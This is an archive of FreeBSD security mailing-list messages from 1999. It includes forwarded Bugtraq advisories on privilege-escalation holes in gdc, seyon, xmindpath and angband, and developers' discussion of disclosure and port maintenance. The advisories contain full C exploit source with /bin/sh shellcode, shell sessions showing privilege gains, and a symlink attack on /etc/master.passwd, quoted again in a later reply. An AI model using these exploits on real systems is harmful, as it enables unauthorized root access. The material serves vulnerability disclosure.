30 19:33:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f31.hotmail.com [207.82.250.42]) by hub.freebsd.org (Postfix) with SMTP id 47FE714F7D for ; Tue, 30 Nov 1999 19:33:11 -0800 (PST) (envelope-from smurfclanz@hotmail.com) Received: (qmail 4526 invoked by uid 0); 1 Dec 1999 03:33:10 -0000 Message-ID: <19991201033310.4525.qmail@hotmail.com> Received: from 202.188.84.241 by www.hotmail.com with HTTP; Tue, 30 Nov 1999 19:33:10 PST X-Originating-IP: [202.188.84.241] From: "PinkSmurf Mushroom" To: freebsd-security@freebsd.org Subject: Latest crontab source Date: Tue, 30 Nov 1999 19:33:10 PST Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Where can I get the latest crontab source as my current cron version is 1.11.2.1, installed directory from the cd, freebsd 3.3-release. There's a possibility that someone managed to exploit my crontab and gotten root with it. John Lee. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 30 21:12:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id D4B5514D40 for ; Tue, 30 Nov 1999 21:12:14 -0800 (PST) (envelope-from dscheidt@enteract.com) Received: from shell-2.enteract.com (dscheidt@shell-2.enteract.com [207.229.143.41]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id XAA07610; Tue, 30 Nov 1999 23:12:12 -0600 (CST) (envelope-from dscheidt@enteract.com) Date: Tue, 30 Nov 1999 23:12:12 -0600 (CST) From: David Scheidt To: PinkSmurf Mushroom Cc: freebsd-security@FreeBSD.ORG Subject: Re: Latest crontab source In-Reply-To: <19991201033310.4525.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 30 Nov 1999, PinkSmurf Mushroom wrote: > Where can I get the latest crontab source as my current cron version is > 1.11.2.1, installed directory from the cd, freebsd 3.3-release. > There's a possibility that someone managed to exploit my crontab and gotten > root with it. Uh, http://www.freebsd.org/cgi/cvsweb.cgi ? If some did get root on your box, you have much bigger problems though. You must assume that everything on it is corrupt, and reinstall at the very least. > David Scheidt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 9:26:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id 905D915AF2; Wed, 1 Dec 1999 09:25:36 -0800 (PST) (envelope-from billf@chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id 0E4B01C2B; Wed, 1 Dec 1999 11:24:43 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id 07BE8381B; Wed, 1 Dec 1999 11:24:43 -0500 (EST) Date: Wed, 1 Dec 1999 11:24:43 -0500 (EST) From: Bill Fumerola To: freebsd-security@freebsd.org Cc: freebsd-ports@FreeBSD.org Subject: FreeBSD 3.3 gated-3.1.5 local exploit (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Tada. --=20 - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - ---------- Forwarded message ---------- Date: Tue, 30 Nov 1999 15:31:06 MST From: Brock Tellier To: BUGTRAQ@SECURITYFOCUS.COM Subject: FreeBSD 3.3 gated-3.1.5 local exploit Greetings, OVERVIEW Vulnerabilities exist in gdc in (at least) FreeBSD 3.3-RELEASE which will allow certian users to gain root privs and overwrite system files. BACKGROUND My tests were done ONLY on FreeBSD 3.3-RELEASE with the gated-3.5.11=20 included on the installation CD. By default on FreeBSD (when installed at initial install by /stand/sysinstall), gdc is given permissions as shown: -rwsr-x--- 1 root wheel 23832 Sep 10 23:21 /usr/local/bin/gdc Thus only users in the group 'wheel' may run gdc. =20 DETAILS Vuln #1 /usr/local/bin/gdc contains a buffer overflow that may ONLY be exploited=20 by the group 'wheel'. According to the man page the default group is "gdmaint", but it was not installed this way by default on my system, nor were any instructions given to make a gdmaint group. The overflow comes when gdc is supplied a large -t time option on the command line. Some may scoff at this particular hole, claiming that if you've let a malicious user have/gain wheel privs, things have already gone past the point of no= =20 return. These people are probably right, but in any case, it's worth noting. Vuln #2 /usr/local/bin/gdc allows debugging output to be written to a file in=20 /var/tmp which follows symlinks. This vulnerability can be exploited to overwrite root-owned system files (more of a DoS, since it doesn't change the destination file's perms) regardless of the user who ran gdc. Once again, a normal user without wheel or similar gid cannot run gdc. However a normal user may create the symlinks that a wheel group user's gdc will follow. EXPLOITS buffer overflow as part of the wheel group: $ gcc -o gdcx gdcx.c $ ls -la `which gdc` -rwsr-x--- 1 root wheel 23832 Sep 10 23:21 /usr/local/bin/gdc $ id uid=3D1000(xnec) gid=3D1000(xnec) groups=3D1000(xnec), 0(wheel) $ ./gdcx gdc exploit for FreeBSD 3.3-RELEASE eip=3D0xbfbfdb65 offset=3D0 buflen=3D4093 NOPs to 937 Shellcode to 1004 eip to 1008 gdc: invalid wait time: =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=EB5^Y3=C0=89F=F5=83=C8f=89F=F9=8D-=89^ 3=D2R=89V=89V =8DF P=8D P=B8{V4 5@V4 Q=9A>:)(:<=E8=C6=FF=FF=FF/bin/she=DB=BF=BF #=20 ---- gdcx.c ---- /*=20 * gdc exploit for Freebsd-3.3 yields euid=3D0(root) * by default, only group wheel (or whatever your trusted gated group is) * and root can run gdc * Brock Tellier btellier@usa.net */ #include char shell[]=3D /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; main (int argc, char *argv[] ) { int x =3D 0; int y =3D 0; int offset =3D 0; int bsize =3D 4093; char buf[bsize]; int eip =3D 0xbfbfdb65; /* works for me */ if (argv[1]) {=20 offset =3D atoi(argv[1]); eip =3D eip + offset; } fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE \n"= ); fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsize= ); =20 for ( x =3D 0; x < 937; x++) buf[x] =3D 0x90; fprintf(stderr, "NOPs to %d\n", x); =20 for ( y =3D 0; y < 67 ; x++, y++) buf[x] =3D shell[y]; fprintf(stderr, "Shellcode to %d\n",x); =20 buf[x++] =3D eip & 0x000000ff; buf[x++] =3D (eip & 0x0000ff00) >> 8; buf[x++] =3D (eip & 0x00ff0000) >> 16; buf[x++] =3D (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[bsize - 1]=3D'\0'; execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL); } --------- for symlink vulnerability: ln -s /etc/master.passwd /var/tmp/gated_dump (wait for priv'd user to run /usr/local/bin/gdc dump) Brock Tellier UNIX Systems Administrator Chicago, IL, USA ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 9:33:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id DAA8015214 for ; Wed, 1 Dec 1999 09:32:57 -0800 (PST) (envelope-from unfurl@magnesium.net) Received: (qmail 72081 invoked by uid 1001); 1 Dec 1999 17:32:42 -0000 Date: 1 Dec 1999 09:32:42 -0800 Date: Wed, 1 Dec 1999 09:32:42 -0800 From: Bill Swingle To: security@freebsd.org Cc: Jordan Hubbard Subject: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] Message-ID: <19991201093242.A71817@dub.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok, so I know these are all vulnerabilities in third party software, and that the actual problem with each program is not really ours to fix but each of these problems can be avoided with small changes to the respective ports. FreeBSD vulnerabilities are few and far between, and even fewer are published on Bugtraq. Having something as simple as this get past us is really embarassing. It says to the security community at large that we're not even concerned enough with security to fix these small holes. We all know that's not true. I'm not sure who dropped the ball here, and I'm not pointing fingers. I just hope that we can pull together in the future to avoid more of this. (just my .04) -Bill ----- Forwarded message from Brock Tellier ----- X-Mailer: USANET web-mailer (M3.4.0.33) Date: Tue, 30 Nov 1999 16:08:29 MST Reply-To: Brock Tellier From: Brock Tellier Subject: Several FreeBSD-3.3 vulnerabilities To: BUGTRAQ@SECURITYFOCUS.COM Greetings, RANT I've given the FreeBSD team about a month to get something official together. Maintainers were supposedly contacted, but no progress has been made. As promised, here are the goods: OVERVIEW Vulnerabilities in seyon, xmindpath and angband can be used to upgrade privileges. BACKGROUND All of the vulnerabilities discussed herein are based on my work on FreeBSD 3.3-RELEASE. Each of the programs was installed with the default permissions given when unpacked with sysinstall. These permissions are: -rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath -r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband These programs may be installed on other systems with different permissions as a result of a version change or a different packing scheme. DETAILS Vuln #1 The Seyon Mess To summarize: Seyon was supposedly not meant to run with additional privileges. There are numerous problems with seyon and I've probably not found all of them. They are: Buffer Overflows: 1. $HOME 2. seyon -emulator $BUF 3. seyon -modems $BUF 4. many long text box input string overflows while in program Input Validation: 1. seyon will search $PATH for "xterm" and "seyon-emu" and exec with fullprivs (as noted in previous advisory) 2. seyon -emulator /program/to/execute/with/full/privs These privileges might be upgradable to root if you are able to a. trojan a dialer-writable file or b. use a symlink attack to clobber .rhosts or similar c. snoop device i/o. Vuln #2 xmindpath /usr/X11R6/bin/xmindpath (suid uucp by default), contains a buffer overflow which will allow any user to gain uucp privs. Simply enough: xmindpath -f $BUF See my "faxalter" advisory for more info on gaining root w/euid uucp. Vuln #3 fun and egid games Want to impress your friends with the highest tetris score known to man? Gain egid games with a buffer overflow in /usr/X11R6/bin/angband. The overflows are: angband -u$BUF angband -d$BUF EXPLOITS Seyon: I've not written buffer overflow exploits for Seyon since an equivalent-yield program execution vulnerability exists, but it is certianly possible. The latter exploit is: seyon -emulator /program/to/execute Note that you'll have to execute a program that will ignore the args that seyon passes to it automatically as shown: bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c bash-2.03$ gcc -o id id.c bash-2.03$ seyon -emulator ./id uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), 1000(xnec) xmindpath: bash-2.03$ ls -la `which xmindpath`; id -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath uid=1000(xnec) gid=1000(xnec) groups=1000(xnec) bash-2.03$ ./xmindx FreeBSD xmindpath exploit /path/to/xmindpath -f $RET Brock Tellier btellier@usa.net Using addr: 0xbfbfcfa8 bash-2.03$ xmindpath -f $RET lock open: File name too long $ id uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec) $ /* * * FreeBSD 3.3 xmindpath exploit gives euid uucp * Compile: gcc -o xmindx xmindx.c * Usage: ./xmindx /path/to/mindpath -f $RET * Brock Tellier * */ #include #include char shell[]= /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; #define EGGLEN 2048 #define RETLEN 279 #define ALIGN 3 #define NOP 0x90 int main(int argc, char *argv[]) { long int offset=0; int i; int egglen = EGGLEN; int retlen = RETLEN; long int addr = 0xbfbfcfa8; char egg[EGGLEN]; char ret[RETLEN]; if (argc == 2) offset = atoi(argv[1]); addr=addr + offset; fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n"); fprintf(stderr, "Brock Tellier btellier@usa.net\n"); fprintf(stderr, "Using addr: 0x%x\n", addr); memset(egg,NOP,egglen); memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell)); for(i=ALIGN;i< retlen;i+=4) *(int *)&ret[i]=addr; memcpy(egg, "EGG=", 4); putenv(egg); memcpy(ret,"RET=",4); putenv(ret); system("/usr/local/bin/bash"); } angband: bash-2.03$ gcc -o angames angames.c bash-2.03$ angband `./angames` eip=0xbfbfc6b4 offset=0 buflen=1095 NOPs to 1021 Shellcode to 1088 eip to 1092 garbage to 1094 $ id uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec) $ /* FreeBSD 3.3 angband exploit yields egid of group games * usage: gcc -o angames angames.c /path/to/angband `./angames ` * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage * Brock Tellier */ #include char shell[]= /* mudge@lopht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */ char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */ char arg[bsize + 2]; int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */ if (argv[1]) { offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize); for ( x = 0; x < 1021; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x); for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x); buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[x++] = 'X'; buf[x++] = 'X'; fprintf(stderr, "garbage to %d\n", x); buf[bsize - 1] = '\0'; sprintf(arg, "-u%s", buf); arg[bsize + 1] = '\0'; printf("%s", arg); } Brock Tellier UNIX Systems Administrator Chicago, IL, USA ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 ----- End forwarded message ----- -- -=| --- B i l l S w i n g l e --- http://www.dub.net/ -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com -=| Different all twisty a of in maze are you, passages little To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 10:55:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 44A5B15015; Wed, 1 Dec 1999 10:55:51 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id KAA18730; Wed, 1 Dec 1999 10:54:09 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id KAA12212; Wed, 1 Dec 1999 10:54:08 -0800 Received: from softweyr.com (dyn0.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA15780; Wed, 1 Dec 99 10:54:03 PST Message-Id: <38456ED0.D25139C7@softweyr.com> Date: Wed, 01 Dec 1999 11:54:08 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Bill Swingle Cc: security@FreeBSD.ORG, Jordan Hubbard Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] References: <19991201093242.A71817@dub.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Bill Swingle wrote: > > Ok, so I know these are all vulnerabilities in third party software, and > that the actual problem with each program is not really ours to fix but > each of these problems can be avoided with small changes to the > respective ports. > > FreeBSD vulnerabilities are few and far between, and even fewer are > published on Bugtraq. Having something as simple as this get past us is > really embarassing. It says to the security community at large that > we're not even concerned enough with security to fix these small holes. > We all know that's not true. > > I'm not sure who dropped the ball here, and I'm not pointing fingers. I > just hope that we can pull together in the future to avoid more of this. Before we go hopping around yammering about "not caring about security" or "dropping the ball" it might be effective to ask "has anyone ever reported these problems before?" *I* haven't seen any of them reported, and I've been on this mail list for 3 or 4 years. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Dec 1 10:56:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 01C8915015 for ; Wed, 1 Dec 1999 10:56:08 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA35690; Wed, 1 Dec 1999 10:54:54 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: Bill Swingle Cc: security@FreeBSD.ORG, btellier@usa.net Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-reply-to: Your message of "Wed, 01 Dec 1999 09:32:42 PST." <19991201093242.A71817@dub.net> Date: Wed, 01 Dec 1999 10:54:54 -0800 Message-ID: <35686.944074494@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > FreeBSD vulnerabilities are few and far between, and even fewer are > published on Bugtraq. Having something as simple as this get past us is > really embarassing. It says to the security community at large that > we're not even concerned enough with security to fix these small holes. > We all know that's not true. The problem is that they're often not even posted to the correct source. In this case, for example, the holes aren't "part of FreeBSD" proper, they're part of our 2794 entry ports collection and Mr. Tellier posted his report to the security officer. It would be simply impossible for one or two people to track security over all of FreeBSD and 2,700 3rd party packages (a certain percentage of which aren't even testable at any given time due to patch creep, tarball fennerization, bitrot, etc) and I don't blame the security officer for wondering why these issues weren't brought up directly with the ports team and/or the individual maintainers for these ports. Being able to divide labor into reasonable (read: even marginally sane) pieces is why we have a ports collection and ports maintainers. Any bug which is found with a port, be it a security issue or a full-on crash, should be reported to the relevant maintainer so that he or she can quickly commit a patch to the ports' patches directory and get everyone past the issue as quickly as possible. - Jordan > > I'm not sure who dropped the ball here, and I'm not pointing fingers. I > just hope that we can pull together in the future to avoid more of this. > > (just my .04) > > -Bill > > ----- Forwarded message from Brock Tellier ----- > > X-Mailer: USANET web-mailer (M3.4.0.33) > Date: Tue, 30 Nov 1999 16:08:29 MST > Reply-To: Brock Tellier > From: Brock Tellier > Subject: Several FreeBSD-3.3 vulnerabilities > To: BUGTRAQ@SECURITYFOCUS.COM > Greetings, > > RANT > I've given the FreeBSD team about a month to get something official together. > Maintainers were supposedly contacted, but no progress has been made. As > promised, here are the goods: > > OVERVIEW > Vulnerabilities in seyon, xmindpath and angband can be used to upgrade > privileges. > > BACKGROUND > All of the vulnerabilities discussed herein are based on my work on > FreeBSD 3.3-RELEASE. Each of the programs was installed with the > default permissions given when unpacked with sysinstall. > These permissions are: > -rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon > -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath > -r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband > These programs may be installed on other systems with different > permissions as a result of a version change or a different packing > scheme. > > DETAILS > > Vuln #1 The Seyon Mess > > To summarize: Seyon was supposedly not meant to run with additional > privileges. There are numerous problems with seyon and I've probably not > found all of them. They are: > > Buffer Overflows: > 1. $HOME > 2. seyon -emulator $BUF > 3. seyon -modems $BUF > 4. many long text box input string overflows while in program > Input Validation: > 1. seyon will search $PATH for "xterm" and "seyon-emu" and exec with > fullprivs (as noted in previous advisory) > 2. seyon -emulator /program/to/execute/with/full/privs > > These privileges might be upgradable to root if you are able to a. > trojan a dialer-writable file or b. use a symlink attack to clobber .rhosts o r > similar c. snoop device i/o. > > Vuln #2 xmindpath > > /usr/X11R6/bin/xmindpath (suid uucp by default), contains a buffer > overflow which will allow any user to gain uucp privs. Simply enough: > xmindpath -f $BUF > > See my "faxalter" advisory for more info on gaining root w/euid uucp. > > Vuln #3 fun and egid games > > Want to impress your friends with the highest tetris score known to man? > > Gain egid games with a buffer overflow in /usr/X11R6/bin/angband. The > overflows are: > angband -u$BUF > angband -d$BUF > > EXPLOITS > > Seyon: > I've not written buffer overflow exploits for Seyon since an > equivalent-yield program execution vulnerability exists, but it is > certianly possible. The latter exploit is: > seyon -emulator /program/to/execute > > Note that you'll have to execute a program that will ignore the args > that seyon passes to it automatically as shown: > > bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c > bash-2.03$ gcc -o id id.c > bash-2.03$ seyon -emulator ./id > uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer), > 1000(xnec) > > xmindpath: > bash-2.03$ ls -la `which xmindpath`; id > -rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath > uid=1000(xnec) gid=1000(xnec) groups=1000(xnec) > bash-2.03$ ./xmindx > FreeBSD xmindpath exploit /path/to/xmindpath -f $RET > Brock Tellier btellier@usa.net > Using addr: 0xbfbfcfa8 > bash-2.03$ xmindpath -f $RET > lock open: File name too long > $ id > uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec) > $ > > /* > * > * FreeBSD 3.3 xmindpath exploit gives euid uucp > * Compile: gcc -o xmindx xmindx.c > * Usage: ./xmindx > /path/to/mindpath -f $RET > * Brock Tellier > * > */ > > > #include > #include > > char shell[]= /* mudge@l0pht.com */ > "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" > "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" > "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" > "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; > > #define EGGLEN 2048 > #define RETLEN 279 > #define ALIGN 3 > #define NOP 0x90 > > int main(int argc, char *argv[]) { > > long int offset=0; > int i; > int egglen = EGGLEN; > int retlen = RETLEN; > long int addr = 0xbfbfcfa8; > char egg[EGGLEN]; > char ret[RETLEN]; > > if (argc == 2) offset = atoi(argv[1]); > > addr=addr + offset; > > fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n"); > fprintf(stderr, "Brock Tellier btellier@usa.net\n"); > fprintf(stderr, "Using addr: 0x%x\n", addr); > > memset(egg,NOP,egglen); > memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell)); > > for(i=ALIGN;i< retlen;i+=4) > *(int *)&ret[i]=addr; > > memcpy(egg, "EGG=", 4); > putenv(egg); > memcpy(ret,"RET=",4); > putenv(ret); > > system("/usr/local/bin/bash"); > > } > > > angband: > > bash-2.03$ gcc -o angames angames.c > bash-2.03$ angband `./angames` > eip=0xbfbfc6b4 offset=0 buflen=1095 > NOPs to 1021 > Shellcode to 1088 > eip to 1092 > garbage to 1094 > $ id > uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec) > $ > > /* FreeBSD 3.3 angband exploit yields egid of group games > * usage: gcc -o angames angames.c > /path/to/angband `./angames ` > * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage > * Brock Tellier > */ > > > #include > > char shell[]= /* mudge@lopht.com */ > "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" > "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" > "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" > "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; > > > main (int argc, char *argv[] ) { > int x = 0; > int y = 0; > int offset = 0; > int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */ > char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */ > 